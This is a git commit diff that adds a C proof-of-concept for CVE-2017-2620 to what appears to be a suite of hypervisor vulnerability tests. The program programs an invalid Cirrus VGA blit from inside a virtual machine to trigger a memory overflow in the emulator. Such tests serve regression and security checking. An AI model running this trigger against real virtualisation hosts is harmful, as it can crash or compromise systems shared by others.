summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Makefile3
-rw-r--r--cve-2017-2620.c53
2 files changed, 55 insertions, 1 deletions
diff --git a/Makefile b/Makefile
index 8876164..ac72595 100644
--- a/Makefile
+++ b/Makefile
@@ -4,7 +4,7 @@ CFLAGS ?= -Os -g
CFLAGS += -Wall
CVETEST := cve-2016-3712
-PCITEST := cve-2017-2615
+PCITEST := cve-2017-2615 cve-2017-2620
USBTEST := cve-2017-5898
TARGETS := $(CVETEST) $(PCITEST) $(USBTEST)
DEPENDS := libpci libusb-1.0
@@ -41,4 +41,5 @@ clean:
rm -f *~ *.o
cve-2017-2615: cve-2017-2615.o pci.o cirrus.o
+cve-2017-2620: cve-2017-2620.o pci.o cirrus.o
cve-2017-5898: cve-2017-5898.o usb.o
diff --git a/cve-2017-2620.c b/cve-2017-2620.c
new file mode 100644
index 0000000..e9fb50f
--- /dev/null
+++ b/cve-2017-2620.c
@@ -0,0 +1,53 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/io.h>
+#include <sys/mman.h>
+
+#include "pci.h"
+#include "cirrus.h"
+
+int main(int argc, char *argv[])
+{
+ volatile uint8_t *mmio, *blit;
+ int i;
+
+ find_device("cirrus", 0x1013, 0x00b8);
+ mmio = mmap_bar(1);
+ blit = mmap_bar(0);
+ fprintf(stderr, "init ok\n");
+ sleep(1);
+
+ cirrus_setmode(mmio);
+
+ fprintf(stderr, "trying invalid cpu-to-video blit\n");
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;
+
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 1024 * 3 - 1;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1 - 1;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
+ *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3;
+ *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 16 * 1024 * 1024 - 1;
+ *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 0;
+
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
+ CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_MEMSYSSRC;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP] = CIRRUS_ROP_SRC;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
+ mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_START;
+
+ fprintf(stderr, "setup done\n");
+ sleep(1);
+
+ for (i = 0; i < 16384; i++)
+ blit[i] = 0;
+ fprintf(stderr, "blit done\n");
+ sleep(1);
+
+ exit(0);
+}